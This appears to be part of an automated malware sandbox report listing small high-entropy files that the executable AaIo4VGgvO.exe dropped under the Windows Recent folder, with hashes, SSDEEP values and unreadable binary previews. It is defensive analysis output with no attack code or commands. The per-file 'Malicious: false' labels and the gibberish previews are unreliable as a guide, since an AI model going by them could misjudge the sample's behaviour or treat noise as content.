SHA-256:	209A326A2774B41C7CD95402B3AE7BC5F441FCDCD00FCE1A9AC95A8E6DC30032
SHA-512:	B5652285938F4052CC713B7BDAC5AADC44422C7B42846A939854F986B03497024416A1FC27E7EDC62A9DAB87346F08FD194747FA0F40308861ED5990C2CA9C4A
Malicious:	false
Preview:	JDDHM.4)..-X..2.J.2........8#'.q..pr. ........tfQl.D..,.....W.[Qn....W.b..!.D.......g..g(..;..^Ja.X_yZ.'R8...S>AF.$...d...vs&.9..$D.&OR ...u4.D....M.aq...p...p_..r.S....y=...k......S.F..{.KA........!.h..!...I\|....(..I..........u."....8g...'.B'.V..).<o.b5...8..v....EJ..C..H.aR=.j....G..!.^./e..F.....D...v....GS..$.Y:y...].Q ...C...k.].!..{k_..l}...i..p....x...........Nh.+.2I....7.....e..v...w\4.b..M.E5.......LBe..}..n0...t.V...(..$.G..7...r...9FKR.5..V+D......5...)#.4.wW8U..B}.....)0.C.K...o2...p..[.T.".&-..(R...(.$[J..c.....]z.-b..\|...q.......T.h..t.d.....eKJE.+F>.eR..Lgj?.3.e3..1..V[..m=2.....>=I.......<J......-.P.U.&/./W]u1sdEF..M.A.If..#3.)...E..!.a;B/......G.....^.o.\|v.94..H.X..........n..&...l.......$.j....r.c......z._.N..W$.......O......r....Z)..1. .'~Su/.. .;.p..fj];S_]W.>.....b.Q.=9O...2.vh....{........R....C .....%%)...<W.r..Q..@...?8..8m.p.-+C...E..L.....AC......V.%vo..?>fv....-.FI?.~ .K..'.u.`...p.>ig.S.JQ...g..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JDDHMPCDUJ.pdf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8442610730134215
Encrypted:	false
SSDEEP:	24:lIpqdML90JdrxzXnB5sAbQ3HS5u19FvTlvN6Ofgu1vP623hmvHyS1YGgv1bD:K2hdt7BUHgu1pgOjRLIy0uD
MD5:	0E5BF20D6EC4F6C83FDF53CFE46669CE
SHA1:	1D2E88FB942B677899A19480912FBE88D79D7052
SHA-256:	75F57BA454D79516D7908B1DA19F7C3FEDE707D754AB7E08A2A3E959EDF2B7C3
SHA-512:	5E2E19FA3188BC52D7050C0FC7FE8915B5B786FBF796D573C9D54C7BC435E8DCCBBEA61127B3EA40FBE5182FE9513A63A6E52DE00B9CE01E36C02709D67628AD
Malicious:	false
Preview:	JDDHM..:......l.......j?.g</.ZD.].DX.?../....A{..K.Rf..M....I5..z....b....F...t.I..su.Xt...Q{Jh..q..G6Z.v`rwV..m7~.?.z.y!.2....9.....%vZj...2.Y.x8..".e.3..b..`....9.I..Z.5H&.{.9.....K...{.n.......Oe..X..4".!39H...a......rN...[..1...+{....B.?.`.....6.L3C.....s<4....._....gm..<qm.......%..$..?N...?......"#;.8.Sx..4..&-..A...yMq.L..jOR..q].!.0....5..q...@.+.76J....(.7.M.(.Q..J.x=lt..[uI..N...9.A....#..b.$..R.Te.D....[P...D..N...,u`..............X.f>....Kgg\_..,..3.].T..zR~...K...LR../...x+..4a....6.0e..`.}.#..../.R...z..33.....gt;>..GE.R.........p.R9.. .8...b..y..x..GYo...1.&.c0...RMAHg.^.........W]..T..fSy0uh@$.$.=.4.s.oq3..+&h1.[.&..U.b5.\|)gN.m....b.1.J..........l....G.._s.j....g.....i.g....T..5_U.(......zJ..Z...........,U.I.ug$.t......^......l....%..UPR..I...-<..H).x...}..lv.*.J....A.w.EQ:u.\|8.\|..W.....Iv....F.~..."[?/.1.w@6Usu..K....XY..).a..^.D..S?T....A")&L.J.FXBK........^..^.....Z3.b...Z..)...>..2Sn.S..;.7.d...JfPw];..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JDDHMPCDUJ.xlsx

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868792494086001
Encrypted:	false
SSDEEP:	24:h+mARKUxx/2B/iGk7X0TQ5Wum9Q1se5C5Df7AZMGH4bKX7h8hvibD:hQKxqoTQsQZ5kfkn4bI7GhvwD
MD5:	C4A718C72823EF1D7A157AF746DA910F
SHA1:	A3162C562DC4F355918AB91F1DE30A767689C94A
SHA-256:	192B86B1D1089B5132D8520561EDA3309B975BE8493475AA43A19FC63EED13CE
SHA-512:	107FAC64DCEB55F81AF8AA0C72EAF518E81459FC6DEB548EDE1B7DA43541E9073540B0E0C84ECB6299D5AA108E4EE1FACBF660CA39F950AF9F0132D7471DC2C6
Malicious:	false
Preview:	JDDHM..nv...\..\..w..O......b...s.b.R5..>.......uR...M.'..u.o.1nNPgg. ..m....-.]N..<..Z-.....&..L......G..j.G.....i.$..\.........\)..ZYk.3..{.....j~.....?..;..5.N.>U.._.T..?...P..{.!..].l..c.-.&g.b..=/...v..0).-..H..0.9d..iy.A.m&"...s.._.K..0@.6].;..<..,F..I4.b..aX..%9.i....v....I..ck....ue1......Q[.-......2.jk'G.....Dg........_K#....v...;)...TP!....y[u.Y-........Sgz.$19.....Y.L...AS.v..I.Jh.zh.wTI...?.a...p....S.+qZ.....+..r../.!1.....b.l.8..E..c..K5..om.%,Uh.'%.t..'.{......2..,.........#f3\.......c......L..."T....pt.vz).....'.$...3"bNJ..Io.j..\|..!#.9#.4.....G..ww.TB[.\|.s....;...f.J...>..,\|6...d.u.{.+.!0..rS.^7..yU....Q...NR.x>.P...<_....eT.....1) ...53.W9.o.s@...o7.fV..b..1. .b...e.i,^..-du6.P5.yP<....j./}.....$.T..l...........W..r.:..^...&15D.bi.^..@...F..<q,f3j.........<6.QF.....R.t..{.p.+.F.Y.S..D.e...Qj....w.{..,h.#.'...%:.Ji...1?E..n'.....Yt...rqL.Q......>.<u..i....^k...s.0.....F..$...:*........A...._=.e.fOe}.m1h[...R...O.....1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JQADJOBBUH.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8169067923945885
Encrypted:	false
SSDEEP:	24:2t5CyhFNiFTivyaAtP605WNorAOuHLGZSIrw7sORfAQ1ZGKXvzpBVN3UMrxVBAbD:6RETiOtPGNMBILGZSIrw7rfAdKXv17NG
MD5:	4E3631C95A14E93FEA92A1A8E5A5BEB2
SHA1:	A7EC0D1901FED8009AD130771BE171D6520BBC42
SHA-256:	BDA0BED2BFE4CB0D5E7315EAA48F115A270405270BBAA42B1EA70582D01265DC
SHA-512:	EA7FDA6A71BF036F657AF1DCF537DA7F429A5D717A867DD0CBC21E9D85E35FA22A3567F35F40336CA909C9EE59B2DF48FA5ECC81E6FF6082C8ED4B4D4808900C
Malicious:	false
Preview:	JQADJ.........O.F..B)[.cR.-$$qa.@4.+....Nm....&.ac4."..Kh2.B.6......+,.`......p..g..L...%Q4.S.m.i..D?...d...Htq.e....sL..y_....j.J ..G..8....}6.Sg.......2....-....iog.{X..)..c.Ss)l.m.3.q..._M...B....'.A.}g..F,.@.B.o........xf....G.iHYNX.k3.kI.V.K..m.......T<d..{.....#.m...xKw..].z.'...:..c2.....oD..B.f,..c4k.C.`..0i.HMP...2..y...).}.y..i..I6A.u.4[/L....o.....P...m.[.....<.]...n._.#.%k...`....+......n...e/.F.P.j.ALjBX-3.Mj..p.0..u&~.Qi}.j.1...../~!..zB+....P#d.`)....Lo..T...4.4m.'.T..a...Fx.".P8...2.PG.O..,..^.........K..N...... .~.fp.G@e......V.x.{..?>".h.6...c....C.....s..W..g.....h......7.~=.Y...3..}l.[..$dP.....x........i........k$8..N.h. ...h.....X...Q..U.Uev..iO......a..jS.r9...:5A.*..EoW.);y.g.F....YVx.L.}:.e.xu.)N8.!..b../.,'.C.#....M}.........XQ}1I.sT;=..C.[.W...IFRUPS...f..w ..k......zO.h]$.....A..5.T-f...g.k`....hy.s..Mvx"6?...^....M~.......n.5B."....UO..<...Sr.....V............-..0.!.v.f....8)+:N.....6..]$.Ha..Me...^z......R

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8573138743177875
Encrypted:	false
SSDEEP:	24:158g6OPogrEK0qedCrZ5Yy9DXK/igp6u/kZFUBs8sia4UbD:QjtKra2Z5HXKKgp6u8as4+D
MD5:	AFA61C5571734B1CEBD1740249FA4D1F
SHA1:	11EDA0D066EC44647A6654AAB26AB5386BDD6368
SHA-256:	12A1C09C3D4EF9B44749E502A59FCA9F053BB93186569A886F753F800FB4387F
SHA-512:	6CF6BBD53B0F7451C9C5889654FDB59F6E0CC2DFEFCE1BF95E813FA00C7248F33855B147E0FE75A31655DA4AB1D18AF97263D4EDD581CFE781CBC96981E4F9FA
Malicious:	false
Preview:	KATAX2.d..y<...O..'.+.t.p.n...}...~.mJ....a.i.`F..)f6-.U#0.Z...~hy.\}.._#..:Y.~.R(!..=.;..'..=l/..l...M..Y7..V.0&>>XTei.o!..qT....,.........{9.r..`yR,.1..x=.i16.>b.d..,a%....R.9E..~....$..<.;...Z.J".. ct3tV..e...T..$-N...o...)v8t........ . .#V.A...f...~.w..D.......d..<.}...KV_ t8B7."Q..l.,}...4...0e.i_.....(Q....#..82.o.si...w._..M.{_.=..V[.F..5p...-.u1._..4.!`..w+.".]7..y.#.>.8xOz]s....."biW:.....%..[y+p...#"\|Y.<.....1.#LU\R.y[.\@F.i......"5......b....NP...Of....d}./H...E.J..P...f+\..k>R...#a4...(.........5...<....;..FU.yD.eK../...E.U.g...dy.d...3....-.........ob!..J.->l.....Gy7?...Pk..$..{.H...J.....`..F._.\|..d.`........[JY6.Hf4...q...~.../hz...s......X.)W..Y.......e..."r&.:il3.9N......G.@...\|.\|.C.$\Q...d..-.. V.44....6Lz...,...<..)..k..m........V....Y...X..u(..ccg/s..^q...........K.@....c.[.E0.\.<..y.Cpr4...........^z...s.3.h..7....%.~X"k.........Qh.2m~.......@.-..."...SC..8...@P[..N.G^...M....0.u...........c.Z...B=..'.5c.])l#..K.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848123052880161
Encrypted:	false
SSDEEP:	24:gLsoI8FXCmn5gU8x4+YoTHF8gXKv2LB++LWjruXyHjfAnmTqlpPR04WWGbD:mhFSml8x4p68Hf/uCHjfJTmH04WWUD
MD5:	0FD5D87FE4734B29DEC91D9A6A8C07C8
SHA1:	3B4F4A2BC19B9377AF275087E1FBF4EAB21A3918
SHA-256:	788B10C6B66A463AC5F2024D06524DC4F9571D4445D20E5583124EA1F6B9CAA9
SHA-512:	BDE0570FCD359FF439EB988F288CE7C33BA3E1BD62D38F63B565BDCC19EDF532317B17FBCD63610D6B63344DDD0F765E87279E43402688D03AA9E10CF143064D
Malicious:	false
Preview:	KATAXAF...)U#.~...&:.'.L+I2..&.63...a..#W...}.Z0......&\....j.i..r.T......./.. m.)n..sa%...L...]>........Co..A....8...LBZ863.n$h.......39E...0,.?......1....y.... .P-.-.@.N.S.gJ....Yo..\|g.Y^..9.b..y.X.o2.....B.......q.du.0.F.\.-Jj....Z...X#.H4P....[..^i...?h..p....e.U. `b..J....sN...N../.r.+%.8)....J'9.L...kb...<...P....0.Q..SJ+EI.\..4...H..V..\|xb..Q^.3p....x.z....p...{.)^.....Y.;ad{.3...lq.//.s^..jO2.c.!..v.........d..5;<.....\|....2+. g......S.CJ e.:."...y.tLRkB(.....H..d...06RL0.\C.0`..[.He7.{.j...X......).dp.H...=.UM.0...D....b.``FP...Z`yF.I..q.......\a.....t...o8.B....$F5..-....`...............U.q>..;[.._.Ww....F.RN.W..5.Tt....i..IP........\..es...1.1@.....x.c...mGnT.D.b.&9..}j.\..a......Z.q1..c...C.%.U....I.V.......$..$8......6..>#8T.......n..h.g.c...qy..iU...`4...YL].h/.Y!&..H...x...w...:.;rN.....ENjq.n}.....v.r}L.d.....E...+sx0..~.....F..B.....'.!..H#.P.^2.>.z.bd.9.;.a.IFUU. .c._...8....4..*.&OV......H..E.h_:?.r....P>-C...b..>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843109706182681
Encrypted:	false
SSDEEP:	24:0YLQSaXaLoZ0gaNPkIH/jzIn8VAvGBUHZIVr3rEy8SDQCUBpG0vGjbD:5QSU+oTMRjzInfZIVr8ilcG3D
MD5:	0707B25F39365827FB0A58A47B3BC3FD
SHA1:	33ABAF3C3525E6839F16EEBD41DD19015188F689
SHA-256:	31B5707023772C74B1497B518321858D9D5A78035D79D95CEBBBE1514EB8A3E1
SHA-512:	A18403ECBA4C023F061CCC5EBF85952167E83B9D3F80CBB0BD21C283DCB7B174BA3643DF768A761EDE459407188EE618EDB58C2E503B8566D3BB1112CD0C8343
Malicious:	false
Preview:	KATAX.V}D...s....xZ.C....E....T...7.~&,.-....Ui.E0...f..9qG....:w4...+..}c....V..0..H...x9r..'&t.?.....R.M.2..y.....0r.l..t..{..Ji..8.6w.5.E...............5..W..l ...\).jT?~d..t.\|....ZW<.m.Z.<.....)t2.Ud/rNH...)..#.....Fq..ka0.....W.4.9..2..RY..n....E..."<..~.2x..X..~kE....j.zz<..Z.......w...M.Ib..'.....k..D&0..".e,A^.d.q.3.....J.>.hy.2;%....0%..z%=.4.O$.-"....."........0..e..vz.B&[.mI.....b.C......+........-.......??d.T5hfo....H...6 ...F\|....y?;..)..N"..m.K.v.?p.<P....m.%...2af.Y.]^8...{r.....;....\|..LGzSz.Y....#...dT>3~=..s.!...R....-..=w.\|...S...s,bL0....-#.<..S..../....%....'t=...fog...Z\|..E.d..VH..'...p.........\|}\|...y...A..2m.-F..k.....><...%~.....n....4'u...n..3.......]....9..XpL].KU.U.y).......f..-H.{.....J....u%.z]..J..`bs.3.#.._..D....r..A..S<"d].Q....7..)=.qj3....b._.....[..4.l."=\dT..z.. ...Q...B.-......Q.W.j?"..pb.&3...q..4..@.}H..i......L{.k.g..F.........j..;8Y;..K.J.w.....Sr.B......~;..!gY.S...y`$.....6`.....=j94....X..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LHEPQPGEWF.jpg

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8491678041452495
Encrypted:	false
SSDEEP:	24:9qfI7TJAMU6+il4uvcQ1mElUdOXpwHmkieMSCIO3Iz3wsVhU9TXWtTCDUSj6sSTR:9qfI7VAh6vlFUgmE6gp6I03wsfURXWF/
MD5:	A84A885525F57E40047E527FFF20A37A
SHA1:	665580BD95477D67B2463BE67988001561C13ECB
SHA-256:	88ED73989586D7F1EDD7AC807EACA6F3095ED6F347A06A1A71F0F01E2CCEBA81
SHA-512:	70438ED561667F708E8DF2B25BBF5F0AAEC258AFFA947501CE9CDAB6D82743E4770CCEA61B3D7BEAA787F7929EE825C8A2072D56FD4749FFCEECE0EF2E51D635
Malicious:	false
Preview:	LHEPQ4.L.].SL...L........(....)l.....:w.l0.1.{3.."..^ie...L..M.........o..oim.f.9.f....>."^X.A<Y..'.....0.w..V.......t...vkH^1.wv..w.....g....!..-....5.~UH...n....Pi.!..u......&.V..e.7~JJ\..a.Z..m...i....]GI..'.t+..zi...M..=...K..8...........,M.k..._..y..=%....k.d.F->.].....Y.$J..:.P..{.:.F..H..M.Oj..}V.....B.c~..k84..c.P.[...N..A&.@F/O.;.+..\.I5.$.r..01..(...1..{~...M...{...g>..........6=gz....>.d..\|"^..>=.NsZ{..C./{.-..6.T....oX...V.RF.X.m.#.........;6..O.nD......I.L..a..#a0...<E..[l.,.[.X.:\}.J.U&V.aC.t....L.>I!.X.P..L.X..,X.U.y.?....d..DW.2PAR/...Jj.+....f_.:.%.#....}.jA.".^R....o.}7nWgF;..d%.(....".=..g`.,..\|p.<.2_1.<F.B.`......GyP]?.\|....w..e.J.T[.%..F.JL"..3.......@j..k...D...].))~......./.}pW.:.T....F.<..`.}..........g..R....V.I..h...N.2-......'...5.1T.i..N.....TY...K...o2../.....yh..[8....s....w.......):...`#....w..]\.g.6..dfz/u.....>.5.Zy...a.IuR\|Ga....g.j%...y3p.t...:....8t.j.C...Su..v.<.......*,...m.e.....D...._/.GL5..(.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LTKMYBSEYZ.docx

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8346610878724015
Encrypted:	false
SSDEEP:	24:oaMKdLhfC94+4HyyQCcJHekTCB71ObSRZQTOYnIJO+lEde/cFWz7aibD:oFKdLhN3y/zJHekQ52qZiOYIVC07BD
MD5:	98D135D679790685B24C6CB79D7E6D7B
SHA1:	1616B6DAB1A91FB89392A9DE30BA68D3A29F315E
SHA-256:	A1941EF5154D1E2D290C45E2568CEB8ECAD6399B3447D4EF77C522A124ACD2CF
SHA-512:	75BA6A4823BB86D8BB0CCB76CC59395868ABFBA9E36DF74F34078140B8C54D6C28B2EA140A466F275053CA0D0072DD6B9A02972213EF9BF793B291198C2705BC
Malicious:	false
Preview:	LTKMY.m..=..n.%/R.&._.q.[....(..a..Th..h.o.k.l$.m,..!0q..y......{\... ..NX...P.w.....E&.s.3...x.hb.I0.K......z..S.-!..y...}.....M.....g...c6../...?&M...Z...$...w...)).(s...r.qoUY.p..+jOmO.]l.......] "HcB.F..i.Uc..7.w.t3.Zx0Y..Fm1.._".ifs......V.q(...O6.._.y....(.....g......{....W/rC......Z..L.....u.....a&.<ZB.u.8.D.5..$...r.YI]..LaQ.S.j.0..E4....S#..Z.$...&....I.....\.o.....n...H....k.. .Ah.....1..hS.....`.R...n.GHdoS.@...?..$.~...J...Vmx..`Q..o.^...^.e.`n.cw...T.B..b"..v..?Sb...@........r.,v....@...s..]!pb..."...J..+.^....'H..8.!.U.<...E...q.s}...2......]...z(.:{.*&x}.c...!...v'..x0.."......B-O3........BK.a...G.Y..H....M.o2r.....@.Ol..5k5=...+.q...j0=.<P.......=.yfF..-j.8...2.wg.4....F..Lo...[..B.h[.L......../..eR.....H..J.g....Q.R..........F..K\|.B.....=...h.e..p.`y.xj.....r....f....aJW.....+...i.....Y.E`,...%AX.)K9.+.g..u.N/..(..Oa=...._.......v^.K.j.8.\|..T.E.8Tg...Hh..<....M1m..8{..l..r?i....j....sk...+.U.)p

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856052968819161
Encrypted:	false
SSDEEP:	24:OczTix305T2/B01yOG4IBf9VF9xlOJTaWdoz8mrHS1QPmksmBbD:OkTS05sB01ybVBlVRlOZfmr1JD
MD5:	33F9E00CABFB42E8CEE9B2A942A1376A
SHA1:	59732151F4B1FCEAFC51719EBD2387702F0B2269
SHA-256:	AA69A85ED22BD1D7C7971D9E224692B3B84A497EA7927D2C04801215694507EC
SHA-512:	8E241654D3C8C5CB20D461D04CE54DCAAC23FF3BC7CF324662E89551EB6407D14DAA11C262739CC591C336D14DAD3C4D798686FFEAA8439DD4EF18872A439622
Malicious:	false
Preview:	LTKMY..vY>h`.4"eP.J......p1.Q.2.(I..l..4B3..\|c.D:...5s....HE.....S"...z-....\|hCL.........3.?..?vAy..+w..-..~.\|1.d.t..V.y.T1t.74,...n2Z...@5>....#<.yl>.Y..1E.!.~f..F.d&.......F...Fd.>....h\|c...\.1...1E.....E ....Q.o....'..e.#...k...)...~}......QZ.f.....c..'QNR.LX.<$_ro~.k(.....c.:.......}.c.........kqC..6..E.!......H.\|2M...J.~.1j.!IH....."_0;Hx.,..F...FF.Pl.a"m\,..D...H...l.xJ....e.R..<.....@.]uQ5...e.>e~N...^-m.{1n....._.B.4.].-.Y....~^JH.J..F..).e....u..\|...2...?.&..=..\.9...{s....j..yq.5]....R.[.....5..u.=A..U..b...4q;..#.!..;.Z.>.....+4.......H:m~......\...:?.(2[%E.xN55........].r..\.T0.GX.}..S0.idU,..s.N..$.{.h.3.."...\..0`.y....b..b3.....w......P..e.....u.....jPj.?r...FB..S..h...)../.g.D....:h...7i.?..G&.<...+}..!.N..BZ.....N..{..&.=..]....k..-Sq..hU%.AF...z/w._.Y..8.J....=B%..3...3\.{...h..;.).Q[..D`..c.^..L."..............D.......d..\|u.p......d....6.J;..f.3..?.t....V._'_k%...p...R.DZ.y...~....8..._..x....Y..4.9.7@C....c...O.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841734400212317
Encrypted:	false
SSDEEP:	24:jAOXmJaHHjGr+qAaERuIr8C8aLLf79mcYqGnBWqNoeHBmRTUbD:jApMnqr+UERuIr8vaLLf78cYVBLlBmMD
MD5:	3B55771D46B3923A8FCD65E6E4BA8274
SHA1:	299594F32344169C78C16700656812A01B57190D
SHA-256:	5890076F8AB2F0C9D305574461935363C1E7E1647607C370C9EAC16B4ACF3F5A
SHA-512:	D699FFDA14C58EBB87E189D4763BAADAB36630AB4B4CD3E9FEB436DB40563B8F03F3DDE8B0C2969354DEA2E40E8BCB873388F65E046A5051F6DA969A5B7DB33D
Malicious:	false
Preview:	NWTVC(....v.7Q.u......-.7..T..9-.~f.pEy.W...X..g.....U.Z...]7....'rV./.....L...(!..I..U..8....Lx8.rV....I.uQ...#.......Q5...-....j7..(..dr=..h"M...R..4)z..F.".\8G....<oe...<..p.........`.&.....\o..6.K....I.(...C..(.A0.Td..nXkE..5..-.U.fc...].....{Q...bkn.,.M..x.\|....I.be7...w.....r.......la[N&..m..j7. 4\.......Hd.J%"s.wi..>\..2=H.h..YJA-t.. ...n.+?..r.....+i...uW.#>>.T.P.A,...aW....h`.>vNr..\|$.......W...L...H._.^I.mb..d\.A..}.:d..YD<.o'..a5`.......{.LH..3o..S.=....(.r..`D,..K..CF.......IE.x...g"tJ.v..8....;4w.S...+q.>m.N......S.3s.l.O..~%.K./.....q8..m./A./_.X"s.X.. D.Le1.Y..Y.Ul.\|.........n..!..b.....U.....g....:.2y...5V.>...RN.\|.. ?.....)......>O.GaWv.9....@-.I.$...........1.8.0.39......C.SG.M..0;.v.(.P..Ye...p...[..Ws....c.:.?mt.....4<.T,.W..~..E/...T....R0.qA.....K.&.T..=YL....#...g..GR...k....q..S.=.5.L..-.)h.......%.#.........=O.f.0....t."`D.j.L'5\|..B..C.:....P....o..Mc.a.Y.geo-b.,Imy(....W.j....YX...p...0.....m~...:........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848343714137628
Encrypted:	false
SSDEEP:	24:YJQerwNpCB/NOZXaAyPQfxY4CQrqC2NU86GrgRKyFNVs5FAlbD:OQawNpVXaAyPQfKQeCL84wIg5C1D
MD5:	6C7F68A6822F2C5333371282E99D26A5
SHA1:	D5DBDF7F6C5F0E8C2C9F2888983F9804D072F8E8
SHA-256:	9750CE2C38E94F6F711662DFAD9BEBCECC62DE8A71C95BEB57BB34884388B6AE
SHA-512:	40E1A66B28BFBE10B71CC97E58F6F2584F056BA47D2F81E9A21A139C82C9CF0211AB0E1B0D98F5B5AA22F2A68433EAD1AF39F199CFFB995BEAE02A0EA209EE65
Malicious:	false
Preview:	ONBQCaQU..V..@4b.n....q..!.>%....d..']`~..wU.t...D.o.=.im...(.l.o.{.?`^%[1.\h&.. ...R.s.pk..V.a.G....f&...FgI.g\Sm....~..NH...afe?.\..I..f..`..n!... !\h}.@...z?Py.z..7s.8...K....j.......5k...Z.....E.N....+..7.yk..4._...u@'ZD.]...f....Pa...I.[6....S.97.{.A.._KD....w.......N..nG......Y.1.z....!.......>.l...-..r.3X........ni...........Y.w.@..p~'4..K.......-...1.L...zC=>."..d;...o1.j.EG.P..^...dO..._.vJ...".>ZI.....SjS...l..5...w.m.$...n...@h.sai..M.HS.....t3../.y%......7i.i.a..NK..S..)....B..Xk..0Q...n..U&Ip.i.N...;......q0.L3......W.(6Q..R...DrO....\|....0.lnd....(.@.I*.{...b..w...?...1..v.r.%.@..nj.w..lu.[...V\|..aq.e...N....<Q....{.e.1.....{..R....z.E...:d/...OA..a,(......b.~..r:..:..0...7...b..@...HP.G<..6.....v33j<....m}.J... .PJ..x+.......(KE..H.?.>0e.!.V<....-..i/w.....#.$."i.p.....l'i.i.c..:..5.B...]0B........B.p.a(.dE...-...<... S:...b$.Exw.....a...;...n...A.Z/.0Z..).@.`a..-..8R...=0]...1..#..q....Q.[1.&.w..b:.I3...z2eZa.?......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8304354888289796
Encrypted:	false
SSDEEP:	24:9P6+DP76c0rqX4OLRRr/DEL002+tKzfCjyU6ZDbkgZTz0anQachEm0UHbD:9ZPuTrqIS7/DEy+UfCjuDxQZ0UD
MD5:	BD4D96B349E01B302ECB4194FB96B915
SHA1:	C5A05421C893EADF7A150EC1A838DA7BB9675B90
SHA-256:	4071AC3678614A1C412AE25D27384F75D690CF21986AFE9A0C3B1400606A3830
SHA-512:	6C7CE3294388828009EF45DD5B31768136063C9A9EEB9C4306F01383D87251D812BCB125F0657D93905EF77EAA8147D18B157EAEE432094A86D2701AADE4789E
Malicious:	false
Preview:	ONBQC...C..6.............3V.9...o!T"1zh..v....J=...SK.(.7....V..IF.,.....?.PS..w.,...7z.b.....;.(3....-..j..@\|..H`.t.C.D/...v.i.iM........>A.8Gyn..[5.....0'....h.X.,9.{..\..c.}.8..'h...h....<..~.T!QV.. G!..D.YmI..u....E.B.....zq.}.!3....@.w(..J}.i.?.x..A)."....r....b#..Cc..9....A.=](Cc.d..].9w.g..H....3X.......j.Sa.j_...+...A<.K=$Ldk..>...Qu.U7X..c).l....WR.i......k.....0\.dY...'..=.c......."...].sH1....%"..Jf......x.<.....J4\|.Y{.R!.d./`8g.......B..(7.=..._"..QG...9.ll.CE..H.;.........+.I..F.\|t^}E..emH...S.Hx9....W=..o..&.,...<'.,..;.QWw.N.Z.i\| ...j3..b..n.M&Y..({....@<..5~H..s....[J.?.xh..O.U....9....^l..<.Rph..7oK.a\|=..CFm.$:... $4O.#.Q.!5/..\|.p.84...z..7>......"..(.~...i.1..R8..9.6Z..,.k........g..k.o.,.....:.y...i...6..3;....P...d.z..J..e..uv9...........[4..r...2.5.....K6\..Wz./......Pv>.d......#.k..v.Wt.a.JdsH.....Y.}.<.0.!..:.......p<.i.y..O.J....l.6.m K.....NP...r..0.......Jz....-,D........b_A...A..&.6..j...$.8.a4

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857596719543262
Encrypted:	false
SSDEEP:	24:0gnFgxg1+pZ8frUSzZyrOb5TQ5EVMQtiZ1DGon8OttADvEraYMdWcOCohn9fjbD:Fw/srUSFyrOb3WQc4bD8raYhPn93D
MD5:	E46B97E3C4E28DCF5B0C86101F89A3D3
SHA1:	30C1CC5C3B5CFCD7EFED60E370DC409F0DC99D70
SHA-256:	671FD8A253B65F9F90A785C7CF9E04137FEFB8F643AA63F16D2F5BCC54DFC919
SHA-512:	DE1A748D13136F874FBD980FFE6BBC8BF022BA0E13B3CB7CEC9BA84E8260EA6BC61E6AD693740ED4AA7E4AE51409F8D7F44CD69EBEB7E5EC0E7B9D5556EC142B
Malicious:	false
Preview:	PALRG.4njTMNU.j8.........x...1k...[,...H.\|$.....{..0....w..&\..<.W..}..Q..<A...E7[..I..Y.fl.C.....C....I..a....+..".>$.e...G..$..!6.v..j..."$v.....f........:M...X.w5..%+.DdM....7.Y&Js;...j`/..c..z1..Z .e .......<kh...-.8o.U....J.....ki..9...ZJ.R...2k....b.....Ze.n".Z.Uo.$hk.NJ..v.=lP......x...".tP..>.3a..g@.b\j.4o`.VJ\|.......M..m.cx.#...K.T...#...f.vp.........YXEV..]=..u...1B...\".k.F.&$'....\1....h0.2...f....UA.i..ar..$..'q.:Xi......$.."2zC...o....3...0...h.........._..."Tb.....A....M..&.H...".g_/... b.jw...GO........%p....h.......#...9\..}.....0.....IC..1..\l....Z..l.....W.1c.^.@S.L....Z...:.......(?z.&.u.M..h...._8. Y....AC..7.?...\....w6k>TY..8P.../..?.B.d..h":......4~.E>....#;W..h..,4.?7vn........V.`..T..?H.....<.v5..b.......M..../FL...7...Kr2.hf..............'.?...G6..(.1n{..L.f+.~.y.....)...[..H._.......C.,..Op<.w.@.=..(.NV..n...[..K....h"..^..#Xk..Pm.d.].\..":& ../......s2K.R\|*....;a5,...iD.....l..9.Ak..2.!..O-..r....:.0...O.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\RAYHIWGKDI.docx

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
